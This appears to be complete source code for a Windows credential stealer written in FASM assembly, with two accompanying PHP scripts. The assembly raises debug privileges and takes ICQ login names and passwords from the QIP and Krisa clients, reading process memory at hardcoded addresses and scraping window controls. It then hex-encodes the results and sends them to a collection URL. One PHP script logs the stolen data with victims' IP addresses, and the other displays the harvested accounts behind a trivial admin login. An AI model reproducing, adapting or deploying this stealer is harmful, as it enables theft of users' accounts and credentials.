format PE GUI on 'DosStub.exe'
entry _start
include 'win32ax.inc'
include 'encoding\win1251.inc'
section '.code' code readable executable import writeable
library kernel32,'KERNEL32.DLL',user32,'USER32.DLL', version, 'VERSION.DLL',  UrlMonLib,'URLMON.DLL',advapi32,'ADVAPI32.dll'
;---- моя примитивная секция импорта
include 'apia\kernel32.inc'
include 'apia\user32.inc'
include 'apia\advapi32.inc'

import version,GetFileVersionInfoSize,'GetFileVersionInfoSizeA',\
	       GetFileVersionInfo,'GetFileVersionInfoA',\
	       VerQueryValue,'VerQueryValueA'
import UrlMonLib,URLDownloadToFile,'URLDownloadToFileA'
;---- моя примитивная секция данных
 table db '0123456789ABCDEF'
 SeDebugPrivilege db 'SeDebugPrivilege',0
 slash db '\',0
 dvoetochie db ':',0
 tzap db '[-]',0
 TGroupBox db 'TGroupBox',0
 TComboBox db 'TComboBox',0
 TManForm db 'TManForm',0
 TMainForm db 'TMainForm',0
 TmainFrm db 'TmainFrm',0
 TEdit db 'TEdit',0
 TprefFrm db 'TprefFrm',0
 TPanel db 'TPanel',0
 TconnectionFr db 'TconnectionFr',0
 url_start db 'http://127.0.0.1/stat.php?data='
 url_end db 0
 VER_MAS dd 07090801h,07090900h,07090905h,07090907h,07090908h,08000000h,08000100h,08000200h
 ADR_MAS dd 0068128Ch,006862B4h,0068B2D0h,006962ECh,0069574Ch,006972ECh,0069F580h,0069F57Ch
;---- моя примитивная секция кода
proc AddToBuf,add_buf
 invoke lstrcat,[buffer],[add_buf]
 ret
endp

proc GetFileVer,PID
 invoke CreateToolhelp32Snapshot,0000000Fh, [PID]
 test eax,eax
 jz GetFileVer_exit
 mov [Handle],eax
 mov ebx,[MODULEENTRY32]
 mov dword [ebx],548
 invoke Module32First,eax,ebx
 test eax,eax
 jz GetFileVer_exit
 invoke CloseHandle,[Handle]
 add ebx,288
 invoke GetFileVersionInfoSize,ebx, Handle
 test eax,eax
 jz GetFileVer_exit
 mov [Size],eax
 invoke HeapAlloc,[myheap],0,eax
 mov [RezBuffer],eax
 invoke GetFileVersionInfo,ebx,Handle, [Size], eax
 test eax,eax
 jz GetFileVer_exit
 invoke VerQueryValue,[RezBuffer], slash, FixedFileInfoBuf, Size
 test eax,eax
 jz GetFileVer_exit
 mov ebx,[FixedFileInfoBuf]
 mov eax,[ebx+8]
 shr eax,16
 mov byte [Size+3],al
 mov eax,[ebx+8]
 mov byte [Size+2],al
 mov eax,[ebx+12]
 shr eax,16
 mov byte [Size+1],al
 mov eax,[ebx+12]
 mov byte [Size],al
 mov eax,[Size]
GetFileVer_exit:
 ret
endp

proc ReadData PID,ADR
 invoke OpenProcess,0410h, 0, [PID]
 test eax,eax
 jz ReadData_exit
 mov [hp],eax
 invoke ReadProcessMemory,eax, [ADR], Size, 4, [t]
 invoke ReadProcessMemory,[hp], [Size], buf, 10, [t]
 invoke CloseHandle,[hp]
ReadData_exit:
 ret
endp

proc GetPas,PID
 stdcall GetFileVer,[PID]
 xor ecx,ecx
 dec ecx
GetPas_m1:
 inc ecx
 cmp ecx,8
 je GetPas_exit
 cmp eax,[VER_MAS+ecx*4]
 jne GetPas_m1
 stdcall ReadData,[PID],[ADR_MAS+ecx*4]
GetPas_exit:
 ret
endp


proc QIP_MEM
 invoke FindWindow,TMainForm,0
QIP_MEM_next:
 test eax,eax
 mov [h],eax
 jz QIP_MEM_exit
 invoke GetWindowText,eax,buf,20
 cmp dword [buf],'[qip'
 jne QIP_MEM_next1
 invoke GetWindowThreadProcessId,[h],PID
 stdcall AddToBuf,buf+8
 stdcall AddToBuf,dvoetochie
 stdcall GetPas,[PID]
 stdcall AddToBuf,buf
 stdcall AddToBuf,tzap
QIP_MEM_next1:
 invoke GetWindow,[h],2
 jmp QIP_MEM_next
QIP_MEM_exit:
 ret
endp

proc QIP_WND_GETPASS,hManForm
 invoke FindWindowEx,[hManForm],0,TGroupBox,0
 test eax,eax
 jz QIP_WND_GETPASS_exit
 push eax
 invoke FindWindowEx,eax,0,TComboBox,0
 test eax,eax
 jz QIP_WND_GETPASS_exit
 invoke SendMessage,eax, WM_GETTEXT, 10, buf
 xor ecx,ecx
cicle:
 cmp ecx,20
 je nextt
 inc ecx
 cmp byte [buf+ecx],' '
 jne cicle
 mov byte [buf+ecx],0
nextt:
 stdcall AddToBuf,buf
; cmp dword [buf],'NONE'
; je QIP_WND_GETPASS_exit
 pop eax
 invoke FindWindowEx,eax,0,TEdit,0
 test eax,eax
 jz QIP_WND_GETPASS_exit
 invoke SendMessage,eax, WM_GETTEXT, 20, buf
 stdcall AddToBuf,dvoetochie
 stdcall AddToBuf,buf
 stdcall AddToBuf,tzap
QIP_WND_GETPASS_exit:
 ret
endp

proc QIP_WND
 invoke FindWindow,TManForm,0
cicle2:
 test eax,eax
 jz QIP_WND_exit
 push eax
 stdcall QIP_WND_GETPASS,eax
 pop eax
 invoke GetWindow,eax,2
 jmp cicle2
QIP_WND_exit:
 ret
endp

proc Krisa_WND_GETPASS,hmainFrm
 invoke GetClassName,[hmainFrm],buf,10
 cmp dword [buf],'Tmai'
 jne Krisa_WND_GETPASS_exit
 invoke SendMessage,[hmainFrm], WM_SYSKEYDOWN,80, 20000000h
 invoke SendMessage,[hmainFrm], WM_SYSKEYUP, 80, 20000000h
 invoke FindWindow,TprefFrm,0
 test eax,eax
 jz Krisa_WND_GETPASS_exit
 invoke FindWindowEx,eax,0,TPanel,0
 test eax,eax
 jz Krisa_WND_GETPASS_exit
 invoke FindWindowEx,eax,0,TconnectionFr,0
 test eax,eax
 jz Krisa_WND_GETPASS_exit
 invoke FindWindowEx,eax,0,TEdit,0
 test eax,eax
 jz Krisa_WND_GETPASS_exit
 push eax
 invoke SendMessage,[hmainFrm], WM_GETTEXT, 20, buf
 stdcall AddToBuf,buf
 stdcall AddToBuf,dvoetochie
 pop eax
 invoke SendMessage,eax, WM_GETTEXT, 20, buf
 stdcall AddToBuf,buf
 stdcall AddToBuf,tzap
Krisa_WND_GETPASS_exit:
 ret
endp


proc Krisa_WND
 invoke FindWindow,TmainFrm,0
cicle3:
 test eax,eax
 jz Krisa_WND_exit
 push eax
 stdcall Krisa_WND_GETPASS,eax
 pop eax
 invoke GetWindow,eax,2
 jmp cicle3
Krisa_WND_exit:
 ret
endp


proc SetDBG
 push ebp
 mov ebp,esp
 sub esp,24h
 invoke OpenProcessToken, -1, 28h, esp
 test eax,eax
 jz @F
 lea eax, [esp+8]
 invoke LookupPrivilegeValue, 0,SeDebugPrivilege, eax
 test eax,eax
 jz @F
 mov dword [esp+14h],1
 mov eax, [esp+8]
 mov [esp+18h], eax
 mov eax, [esp+0Ch]
 mov [esp+1Ch], eax
 mov dword [esp+20h], 2
 lea eax, [esp+10h]
 push eax
 lea eax, [esp+18h]
 push eax
 push 10h
 lea eax, [esp+20h]
 push eax
 push 0
 mov eax, [esp+14h]
 push eax
 call [AdjustTokenPrivileges]
@@:
 leave
 ret
endp

_start:
 stdcall SetDBG
 invoke GetProcessHeap
 mov [myheap],eax
 invoke HeapAlloc,eax,0,1024
 mov [buffer],eax
 mov byte [eax],0
 invoke HeapAlloc,[myheap],0,1024
 mov [MODULEENTRY32],eax
 stdcall QIP_MEM
 stdcall QIP_WND
 stdcall Krisa_WND
 invoke lstrlen,[buffer]
 test eax,eax
 jnz dalee
 invoke ExitProcess,0
dalee:
 mov [Size],eax
 shl eax,2
 invoke HeapAlloc,[myheap],0,eax
 invoke lstrcpy,eax,url_start
 dec edx
 xor ecx,ecx
cicle4:
 mov eax,[buffer]
 mov ah,[eax+ecx]
 mov al,ah
 shr ah,4
 and al,0fh
 mov ebx,table
 xlatb
 xchg ah,al
 xlatb
 mov word [edx+ecx*2],ax
 inc ecx
 cmp ecx,[Size]
 jne cicle4
 mov byte [edx+ecx*2],0
 sub edx,url_end-url_start
 invoke URLDownloadToFile,0,edx,TEdit,0,0
 invoke ExitProcess,0
 buf db 21 dup (0)
 myheap dd 0
 buffer dd 0
 Size dd 0
 PID dd 0
 MODULEENTRY32 dd 0
 h dd 0
 hp dd 0
 t dd 0
 Handle dd 0
 RezBuffer dd 0
 FixedFileInfoBuf dd 0

<?
$data=$_GET['data'];
$out='';
$f=fopen('ICQ.txt','a+');
while ($x<strlen($data))
{
$temp=$data[$x].$data[$x+1];
$out.=chr(HexDec($temp));
$x+=2;
}
fputs($f,date("d.m.Y H:i:s").'[-]'.getenv("REMOTE_ADDR").'[-]'.$out."\r\n");
fclose($f);
?>

<?
$admin_user='123456';
$admin_pass='123456';
if ($admin_user!=$_SERVER['PHP_AUTH_USER']||$admin_pass!=$_SERVER['PHP_AUTH_PW'])
 {
   Header('WWW-Authenticate: Basic realm="Enter login & password"'); 
   Header('HTTP/1.0 401 Unauthorized');
   echo "Sorry, Access Denied";
   exit;
 }

echo '<html><body bgcolor="black" text="white">';
$f=file('ICQ.txt');
for ($x=0;$x<count($f);$x++)
{
 $z=explode('[-]',$f[$x]);
 for ($y=2;$y<count($z);$y++)
  {
   list($UIN,$PASS)=explode(':',$z[$y],2);
   if ($PASS!='<:HIDDEN:>'&&strpos($PASS,'[qip] - ')===FALSE&&strlen($PASS)>0&&strlen($UIN)>4&&strlen($UIN)<10)
    {
	 if (!@in_array($UIN.';'.$PASS,$acc[strlen($UIN)])) $acc[strlen($UIN)][]=$UIN.';'.$PASS;
    }
  }
 }

echo '<table><tr valign="top">'; 
for ($y=0;$y<10;$y++)
 {
  @sort($acc[$y]);
  if (count($acc[$y])>0)
   {
     echo '<td><FIELDSET><LEGEND>[  '.$y.'  ]</LEGEND>';
     for ($x=0;$x<count($acc[$y]);$x++) echo HtmlSpecialChars($acc[$y][$x]).'<br>';
	 echo '</FIELDSET></td>';
   }
  }
echo '</tr></table></body></html>';
?>